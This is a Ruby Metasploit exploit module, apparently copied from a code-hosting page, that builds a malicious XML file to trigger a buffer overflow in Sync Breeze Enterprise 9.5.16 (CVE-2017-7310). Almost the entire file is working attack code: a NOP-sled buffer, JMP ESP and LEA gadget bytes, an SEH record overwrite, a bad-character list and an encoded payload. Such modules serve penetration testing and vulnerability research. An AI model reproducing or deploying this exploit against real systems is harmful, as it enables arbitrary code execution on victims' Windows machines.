76 lines
2.1 KiB
Ruby
76 lines
2.1 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Sync Breeze Enterprise 9.5.16 - Import Command Buffer Overflow',
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'Description' => %q(
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This module exploits a buffer overflow in Sync Breeze Enterprise 9.5.16
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by using the import command option to import a specially crafted xml file.
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),
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Daniel Teixeira'
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],
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'References' =>
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[
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[ 'CVE', '2017-7310' ],
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[ 'EDB', '41773' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'seh',
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'DisablePayloadHandler' => true
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},
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'Platform' => 'win',
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'Payload' =>
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{
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'BadChars' => "\x00\x01\x02\x0a\x0b\x0c\x22\x27",
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'StackAdjustment' => -3500
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},
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'Targets' =>
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[
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['Windows Universal', { 'Ret' => 0x10015FFE } ]
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],
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'Privileged' => false,
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'DisclosureDate' => '2017-03-29',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [true, 'The file name.', 'msf.xml'])
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])
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end
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def exploit
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jmpesp = "\x7A\xB7\x1B\x65" # JMP ESP QtGui4.dll
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esp = "\x8D\x44\x24\x4C" # LEA EAX, [ESP+76]
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jmp = "\xFF\xE0" # JMP ESP
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buffer = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<classify\nname=\'"
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buffer << "\x90" * 1536
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buffer << jmpesp
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buffer << "\x90" * 18
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buffer << esp
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buffer << jmp
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buffer << "\x90" * 68
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buffer << generate_seh_record(target.ret)
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buffer << "\x90" * 10
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buffer << payload.encoded
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buffer << "\x90" * 5000
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buffer << "\n</classify>"
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(buffer)
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end
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end
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